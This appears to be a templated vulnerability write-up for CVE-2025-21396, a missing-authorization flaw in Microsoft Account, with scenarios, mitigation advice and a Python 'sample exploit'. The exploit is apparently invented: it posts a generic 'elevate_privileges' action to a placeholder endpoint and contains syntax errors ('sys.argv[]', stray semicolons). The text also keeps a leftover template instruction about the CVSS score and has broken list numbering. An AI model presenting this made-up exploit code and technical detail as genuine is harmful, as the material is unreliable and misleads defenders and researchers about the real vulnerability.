CVE-2025-21396 - Missing Authorization in Microsoft Account Allows Unauthorized Attacker to Elevate Privileges Over a Network

(Replace this with the actual CVSS v3. Severity Score once available from https://cve.mitre.org/)

Vulnerability Details

The recently discovered vulnerability, CVE-2025-21396, has been found in the Microsoft Account, a single sign-on Microsoft service that allows users to log in to numerous websites, devices, and apps using one account. This vulnerability stems from a missing authorization check and threatens the security of the services as it enables unauthorized attackers to elevate their privileges and execute critical attacks on the network. Thus, systems running Microsoft Accounts are left vulnerable, risking unauthorized access and the compromise of sensitive information.

Exploit Scenarios

There are several scenarios where the attacker can exploit this vulnerability. Some of the potential situations include:

- An attacker gaining unauthorized access to a targeted user's Microsoft Account after obtaining their login credentials via phishing scams or other means. This allows the attacker to take control of the user's account and execute malicious actions on the vulnerable system.

- By exploiting the missing authorization check, an attacker can bypass the security layers and elevate their privileges to the targeted user's account, giving them the ability to carry out critical attacks on the network. This includes modifying, adding, or deleting data and spreading malware across the network.

Sample Code

This section provides a sample code snippet to demonstrate how an attacker can exploit the missing authorization check vulnerability in Microsoft Account. Please note that this code is for educational purposes only and should not be used to carry out malicious activities.

# Sample exploit code for CVE-2025-21396

import requests
import sys

VULNERABLE_URL = 'https://<target>/api/v1/account';

def exploit(username, password):
    # Authenticated user session
    authenticated_user_session = requests.Session()

    # Login to Microsoft Account
    login_data = {
        'username': username,
        'password': password
    }
    response = authenticated_user_session.post('https://<target>/api/v1/login';, data=login_data)

    # Check if login was successful
    if response.status_code != 200:
        sys.exit('[-] Wrong username or password.')

    print('[+] Logged into Microsoft Account successfully.')

    # Missing authorization check in Microsoft Account
    exploit_data = {
        'action': 'elevate_privileges'
    }
    response = authenticated_user_session.post(VULNERABLE_URL, data=exploit_data)

    if response.status_code == 200:
        print('[+] Privilege elevation successful!')
    else:
        print('[-] Exploit failed.')

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print(f'Usage: {sys.argv[]} <username> <password>')
        sys.exit()

    username, password = sys.argv[1], sys.argv[2]
    exploit(username, password)

Mitigation

To mitigate this vulnerability, Microsoft strongly advises the users to follow the recommended security practices:

1. Promptly apply available patches to secure the vulnerable systems as Microsoft periodically releases such fixes.

Enable two-factor authentication for Microsoft Accounts to add an extra layer of security.

3. Regularly monitor the system logs for suspicious activity and proactively take appropriate actions as required.

Official References

- CVE-2025-21396 - NVD Detail
- Microsoft Security Response Center

Conclusion

CVE-2025-21396 is a concerning vulnerability that requires immediate attention from organizations and individuals who use Microsoft Accounts. The missing authorization check poses a severe threat, as unauthorized attackers can exploit it to elevate their privileges and carry out critical attacks jeopardizing systems' security. To address this issue, apply the available patches, follow the recommended security practices, and always remain vigilant to potential threats.

Timeline

Published on: 01/29/2025 23:15:32 UTC
Last modified on: 01/31/2025 01:44:41 UTC